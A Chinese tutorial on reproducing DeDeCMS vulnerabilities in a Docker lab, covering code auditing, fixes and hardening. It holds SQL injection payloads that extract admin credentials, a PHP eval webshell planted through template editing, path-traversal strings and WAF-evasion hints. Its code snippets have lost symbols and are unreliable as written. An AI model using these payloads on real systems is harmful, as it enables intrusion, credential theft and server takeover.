DeDeCMS漏洞复现:从SQL注入到Getshell的Web安全实战剖析

📅 2026/7/2 22:14:29
DeDeCMS漏洞复现:从SQL注入到Getshell的Web安全实战剖析
1. 项目概述为什么我们要复现DeDeCMS漏洞如果你是一名网站开发者、安全研究员或者正在负责企业网站的安全运维那么“DeDeCMS”这个名字你一定不陌生。作为国内早期最流行的内容管理系统之一它承载了无数企业站、资讯站甚至政府门户网站。但正是这样一个“元老级”的系统其安全漏洞的复现与研究在今天依然具有极高的现实意义。这不仅仅是“炫技”或满足好奇心而是关乎资产梳理、风险验证和防御加固的硬核实战。我接触DeDeCMS超过十年从早期的二次开发到后来的安全审计亲眼见证了它从辉煌到逐渐淡出主流视野但其遗留的“数字资产”却遍布互联网。很多单位的老旧网站依然在线上运行无人维护却存储着敏感数据。复现其漏洞核心目的有三个第一验证自身或客户资产是否存在已知风险这是安全评估的第一步第二深入理解漏洞原理从而制定更精准的防御策略而不是盲目地打补丁第三在授权范围内进行安全测试提升应急响应能力。网络上流传的“dedecms更新列表太慢了”等抱怨背后往往就隐藏着因系统老旧、补丁缺失而引发的更深层次的安全危机。本次复现我们将聚焦于DeDeCMS历史上几个具有代表性的高危漏洞。我不会仅仅给出一个攻击载荷Payload让你去“碰运气”而是会带你深入代码层理解漏洞的根源、利用条件以及每一步操作背后的逻辑。无论是经典的SQL注入、文件上传还是涉及后台权限的Getshell漏洞我们都会逐一拆解。这对于安全新手来说是一次绝佳的Web安全实战入门对于有经验的老手也是一次系统性的知识梳理和原理深化。2. 漏洞复现环境搭建与核心思路解析工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的基石。盲目在公网或生产环境测试是绝对的大忌。2.1 靶场环境快速部署我们的目标是快速搭建一个包含漏洞版本的DeDeCMS测试环境。最推荐的方式是使用Docker它能实现环境的秒级构建与销毁完美隔离。首先我们需要确定一个存在已知漏洞的DeDeCMS版本。例如V5.7 SP2版本在历史上就曝出过多个高危漏洞。你可以在一些开源漏洞库或历史镜像站找到其安装包。1. 准备Docker与编写Dockerfile我习惯在本地使用Docker Desktop在Linux服务器上则直接使用Docker Engine。假设我们已经在工作目录下载了DeDeCMS V5.7 SP2的压缩包DedeCMS-V5.7-UTF8-SP2.tar.gz。创建一个Dockerfile内容如下FROM php:5.6-apache RUN apt-get update apt-get install -y \ libpng-dev \ libjpeg-dev \ libfreetype6-dev \ docker-php-ext-configure gd --with-freetype-dir/usr/include/ --with-jpeg-dir/usr/include/ \ docker-php-ext-install gd mysqli pdo pdo_mysql zip RUN a2enmod rewrite COPY ./DedeCMS-V5.7-UTF8-SP2.tar.gz /var/www/html/ WORKDIR /var/www/html RUN tar -zxvf DedeCMS-V5.7-UTF8-SP2.tar.gz --strip-components1 \ rm DedeCMS-V5.7-UTF8-SP2.tar.gz \ chmod -R 755 /var/www/html \ chown -R www-data:www-data /var/www/html这个Dockerfile做了几件事基于老旧的PHP 5.6和Apache镜像匹配DeDeCMS的运行环境安装必要的GD库、MySQL扩展启用URL重写将源码解压到Web根目录并设置好权限。2. 构建与运行容器在Dockerfile所在目录执行docker build -t dedecms-vuln:5.7 . docker run -d -p 8080:80 --name dede-test dedecms-vuln:5.7现在访问http://localhost:8080就能看到DeDeCMS的安装界面了。同时你需要启动一个MySQL容器版本建议5.5或5.6来提供数据库服务docker run -d -p 3306:3306 --name dede-mysql \ -e MYSQL_ROOT_PASSWORDroot123 \ -e MYSQL_DATABASEdedecms \ mysql:5.6在安装界面填写数据库信息主机填你的Docker宿主机IP或容器链接后的服务名即可完成安装。注意永远不要在公网服务器上以这种简单配置运行带漏洞的CMS即使是在测试后也务必及时销毁容器docker rm -f dede-test dede-mysql。2.2 复现的核心方法论黑盒与白盒结合单纯的“按图索骥”运行一个EXP漏洞利用程序意义有限。我主张采用“黑盒测试触发白盒分析溯源”的方法。黑盒测试就像攻击者一样在不看源代码的情况下通过工具如Burp Suite或手工构造畸形请求向目标系统输入特殊数据观察其响应如报错信息、页面内容变化从而判断漏洞是否存在及大致位置。这是复现的第一步。白盒分析在黑盒测试找到可疑点后立即翻开源代码定位到对应的处理函数或文件。通过阅读代码理解为什么我们的输入会导致漏洞例如用户输入未经过滤就直接拼接进SQL语句。这一步是理解漏洞本质的关键。例如当我们通过扫描器或经验猜测/plus/search.php可能存在SQL注入时黑盒测试会尝试提交keywordtest来触发数据库报错。一旦看到MySQL语法错误信息我们就立刻去查看/plus/search.php中处理$keyword变量的代码看它是否直接用于$dsql-ExecuteNoneQuery()或类似的SQL执行函数中而没有经过addslashes()或htmlspecialchars()等过滤。这种结合的方式能让你从“脚本小子”进阶到“漏洞分析者”。接下来我们就用这种方法剖析几个经典漏洞。3. 核心漏洞原理深度剖析与手工复现DeDeCMS的漏洞主要集中在几个模块会员中心member、内容采集co、搜索plus/search、友情链接plus/flink以及后台部分功能。我们挑选两个最具代表性的进行深度拆解。3.1 会员中心memberSQL注入漏洞CVE-XXXX-XXXXX这个漏洞影响广泛其根源在于对用户传入的mid参数处理不当。mid是会员ID在很多会员中心页面如/member/index.php都会用到。漏洞原理分析我们查看/member/index.php的源代码以某个历史漏洞版本为例。通常会看到类似这样的代码$mid isset($mid) is_numeric($mid) ? $mid : 0; ... $sql SELECT * FROM #__member WHERE mid$mid;乍一看它用is_numeric()检查了mid似乎是安全的。但问题出在代码逻辑的覆盖不完整和全局变量注册机制register_globals在老版本PHP中默认为On或DeDeCMS自定义了类似机制上。攻击者可以通过POST或GET传递一个数组形式的mid例如mid[0]expmid[1]...。在某些特定的代码分支或包含的文件中如果对$mid的赋值或类型转换处理不当就可能绕过is_numeric()检查导致$mid被拼接进SQL语句时其内容可能包含SQL语句被直接执行。更常见的一种情况是在/member/edit_fullinfo.php等文件中存在对$mid的二次赋值或从Cookie中获取但过滤不严。例如$mid $_COOKIE[DedeUserID]; $query UPDATE #__member SET ... WHERE mid$mid AND ...;如果Cookie中的DedeUserID可以被用户篡改通过其他漏洞或客户端修改且这里没有进行严格的整数类型强制转换如intval($mid)就会导致注入。手工复现步骤定位入口访问http://your-target/member/index.php。正常情况会跳转到登录页。构造Payload我们利用Burp Suite拦截任何一个会员功能的请求比如登录请求/member/index_do.php在POST数据或Cookie中添加恶意参数。假设我们发现/member/edit_fullinfo.php的更新操作存在漏洞。我们首先需要有一个低权限会员账号这是此类漏洞常见的限制条件。登录后拦截修改个人资料的请求通常提交到/member/edit_fullinfo.php。在POST数据体中找到类似于mid123的参数将其修改为注入Payload。例如测试注入点mid123 AND SLEEP(5)--。这里SLEEP(5)是MySQL的函数如果服务器响应延迟了大约5秒说明该参数存在基于时间的盲注漏洞。更高级的Payload可以用于获取数据mid-1 UNION SELECT 1,2,3,CONCAT(userid,:,pwd),5,6,7 FROM dede_admin --。这里假设字段数匹配且dede_admin是管理员表CONCAT用于拼接出管理员账号和密码哈希值。观察与验证发送请求观察服务器响应。如果返回了异常信息如SQL报错、页面内容包含了数据库数据如将2和3显示在了页面上或者响应时间显著延迟则证明漏洞存在。代码溯源根据触发点找到对应的PHP文件查看$mid变量是如何被获取、过滤和使用的从而彻底理解漏洞成因。实操心得对于这类注入Burp Suite的Intruder模块配合时间延迟探测SLEEP是检测盲注的利器。但要注意频繁的SLEEP请求可能会被WAFWeb应用防火墙识别。在实际授权测试中应使用更温和、更隐蔽的Payload并控制请求频率。3.2 后台模板文件Getshell漏洞这是DeDeCMS后台一个极其危险的漏洞允许拥有后台管理员权限的攻击者直接写入Webshell获取服务器控制权。其本质是文件写入功能未对内容进行安全过滤。漏洞原理分析DeDeCMS后台提供了在线编辑模板文件.htm的功能路径通常是/dede/templets_one_edit.php或/dede/templets_edit.php。其核心操作是接收文件名filename和文件内容str然后使用file_put_contents()或fwrite()函数将内容写入指定文件。漏洞的关键在于写入的内容$str直接来自于表单提交系统可能只检查了文件后缀必须是.htm或.html但没有对文件内容进行任何安全检查。PHP代码可以被包裹在HTML注释或者某些特定的模板标签中绕过简单的检查。例如正常的模板文件内容是HTML。但攻击者可以提交如下内容html body Normal HTML here... ?php eval($_POST[cmd]); ? /body /html如果这个文件被保存为.htm并且所在的目录具有执行PHP的权限在配置不当的服务器上有时会对整个网站目录授予执行权限那么访问这个.htm文件时其中的PHP代码就会被服务器执行。eval($_POST[cmd])是一句话木马攻击者可以通过POST传递cmd参数执行任意系统命令。手工复现步骤获取后台权限这是前提。可以通过前述的SQL注入漏洞获取管理员密码哈希然后破解或利用密码重置漏洞或者在某些极旧版本或配置失误的系统中存在默认弱口令admin/admin。定位编辑功能登录后台找到“模板管理”或“系统”-“模板管理”下的“编辑模板文件”或“修改主页模板”等功能。写入Webshell选择一个已有的模板文件进行“编辑”例如index.htm。在编辑框中在原有HTML代码的末尾或任意位置插入上述的PHP一句话木马代码。为了隐蔽可以将其放在HTML注释中!--?php eval($_POST[pass]);?--。点击“保存”。验证与利用确定保存后的文件可访问URL例如http://your-target/templets/default/index.htm。使用中国菜刀Cknife、蚁剑AntSword或哥斯拉Godzilla等Webshell管理工具连接。连接地址就是该htm文件的URL密码是pass即$_POST[pass]。如果连接成功即可在工具中执行命令、浏览目录、上传下载文件完全控制服务器。注意事项这是一个破坏性极强的漏洞。在授权测试中写入的Webshell必须及时删除。此外现代WAF和主机安全软件会对这类包含eval($_POST[)的经典木马特征进行检测。在实际利用中攻击者会使用各种编码、混淆变形技术来绕过检测例如使用assert、create_function或通过拼接字符串来动态构造函数名。作为防御方根本措施是严格控制后台权限、禁用不必要的模板编辑功能并对模板目录设置严格的不可执行权限。4. 漏洞挖掘与利用的进阶技巧掌握了已知漏洞的复现我们可以更进一步尝试在未知版本或补丁不全的系统上进行漏洞挖掘。这需要更系统的思路和工具辅助。4.1 静态代码审计入门对于DeDeCMS这类开源系统静态审计是最直接的方法。你可以使用类似Seay源代码审计系统这样的工具也可以使用VS Code等编辑器配合正则表达式搜索。关键搜索模式查找SQL执行点在项目中全局搜索关键词如ExecuteNoneQuery、Execute、query、GetOne、dsql-。找到这些函数调用后向上追溯其参数来源看是否直接包含了$_GET、$_POST、$_COOKIE、$_REQUEST等超全局变量。查找文件操作点搜索file_put_contents、fwrite、fopen、copy、move_uploaded_file、unlink删除文件也可能构成漏洞。重点关注这些函数的第一个参数文件名和第二个参数内容是否用户可控。查找包含函数搜索include、require、include_once、require_once。如果包含的文件路径用户可控就可能造成本地文件包含LFI或远程文件包含RFI漏洞。在DeDeCMS中$cfg_templets_dir、$cfg_cmspath等变量常被用于拼接路径需要检查其是否被污染。查找命令执行点搜索exec、system、passthru、shell_exec、反引号。这类漏洞在CMS中较少但在一些采集、数据备份模块中可能出现。审计流程示例假设我们搜索file_put_contents在文件/dede/sys_verifies.php中发现如下代码$filename $cfg_basedir . $cfg_templets_dir . /admin/verifies.txt; $content $_POST[vcode]; file_put_contents($filename, $content);这里$content直接来自$_POST[‘vcode’]且写入的文件路径固定。虽然文件名是.txt但如果服务器错误配置了MIME类型或解析漏洞仍可能构成风险。更危险的是如果$filename的一部分也用户可控比如通过$_POST[‘tpl’]来指定模板子目录就可能实现任意文件写入。4.2 动态模糊测试Fuzzing对于黑盒测试除了手工测试我们可以使用工具进行半自动化的模糊测试。使用Burp Suite Intruder对每一个参数包括Cookie、Header进行Fuzzing。准备两份字典一份是常见的SQL注入Payload列表如、、1 AND 11、1 AND SLEEP(5)--另一份是文件路径遍历Payload如../../../../etc/passwd、....//....//....//windows/win.ini。通过对比响应长度、时间、状态码和内容来发现潜在的注入点或文件包含漏洞。使用特定扫描器如sqlmap、XSStrike等。对于DeDeCMS可以先用爬虫如Burp Spider或AWVS的爬虫爬取所有链接和表单然后将请求导出为文件交给sqlmap进行批量检测sqlmap -r request.txt --batch --level 3 --risk 2。sqlmap能自动识别参数、测试各种注入技术并尝试获取数据。关注非标准入口不要只盯着.php文件。DeDeCMS的/data、/uploads、/images目录下可能存在配置文件、缓存文件、上传文件这些有时也会因为权限设置不当或内容可控而成为漏洞点。例如/data/config.cache.inc.php可能包含数据库密码如果该文件能被外部访问就导致信息泄露。5. 漏洞修复方案与安全加固实践复现漏洞的最终目的是为了修复和防御。针对上述漏洞修复措施需要从代码层和运维层双管齐下。5.1 代码层修复建议SQL注入参数化查询Prepared Statements这是根本解决方案。将DeDeCMS中所有使用$dsql-ExecuteNoneQuery()等函数的地方逐步改造为使用参数化查询。例如使用PDO或MySQLi的预处理语句。严格类型转换对所有期望为整型的输入参数强制使用intval()或(int)进行转换。例如$mid intval($_GET[‘mid’]);。使用框架的安全函数如果无法大改确保所有用户输入在进入SQL前都经过addslashes()注意魔术引号问题或DeDeCMS自带的_RunMagicQuotes()、CheckSql()函数过滤。但要注意这些函数并非万能对宽字节等特殊注入可能无效。文件写入Getshell内容过滤在写入模板文件的功能中增加对文件内容的严格检查。可以使用正则表达式过滤掉?php、?、script language”php”等PHP标签或者只允许安全的HTML和模板标签。目录权限隔离将模板目录/templets设置为仅可读不可写在线编辑功能改为写入一个临时目录然后通过后台的“文件移动”功能由具有系统权限的进程执行进行覆盖。这样即使写入恶意内容也无法直接访问执行。禁用危险函数在php.ini中将disable_functions设置为包含eval,assert,system,exec,shell_exec,passthru,proc_open等危险函数。文件上传漏洞白名单校验不仅校验文件后缀如.jpg,.png更要校验文件MIME类型甚至进行文件头检查。重命名与目录隔离上传的文件不要使用用户原始文件名应使用随机字符串如MD5(时间戳随机数)重命名并统一存放在非Web可访问目录或至少不可执行的目录通过配置Nginx/Apache禁止该目录解析PHP。图片二次渲染对于图片上传使用GD库或ImageMagick对图片进行重新压缩或裁剪可以破坏隐藏在图片中的恶意代码。5.2 系统运维层加固最小权限原则Web服务器进程如www-data, apache用户的运行权限应尽可能低。数据库用户不应使用root而应为DeDeCMS创建专属用户并只授予其特定数据库的增删改查权限禁止FILE、PROCESS等高级权限。文件和目录权限遵循“755目录/644文件”原则即所有者可读写其他人只读。对于/data、/uploads等需要写入的目录权限可设为755但务必确保其中无.php、.phtml等可执行文件。部署Web应用防火墙WAF在DeDeCMS前端部署WAF如ModSecurity开源或商业WAF产品。WAF可以基于规则库拦截常见的SQL注入、XSS、文件包含等攻击请求。即使CMS本身有漏洞WAF也能提供一道有效的防线。定期更新与漏洞监控尽管DeDeCMS官方已停止更新但对于仍在使用的系统应密切关注第三方安全社区如Seebug、CNVD是否有新的漏洞披露。定期对系统进行安全扫描可以使用Nessus、OpenVAS等漏洞扫描器或聘请专业的安全团队进行渗透测试。最重要的一点制定迁移计划。对于核心业务系统应尽快从DeDeCMS这类已停止维护的CMS迁移到活跃维护、安全性更高的现代框架或CMS如WordPress需精心配置、Drupal或国内的一些新兴CMS这是治本之策。漏洞复现是一场攻防视角的思维训练。从攻击中理解防御的薄弱点从防御的角度去思考攻击的路径。对于DeDeCMS它更像是一个Web安全的“历史博物馆”里面的许多漏洞模式在今天的新型应用中依然以不同的形式存在。通过亲手搭建、分析、利用和修复这些漏洞你构建的不仅仅是对一个特定系统的认知更是一套适用于大部分Web应用的安全评估方法论。在实战中最大的风险往往不是已知的漏洞而是对未知风险的漠视和对老旧系统“还能用就行”的侥幸心理。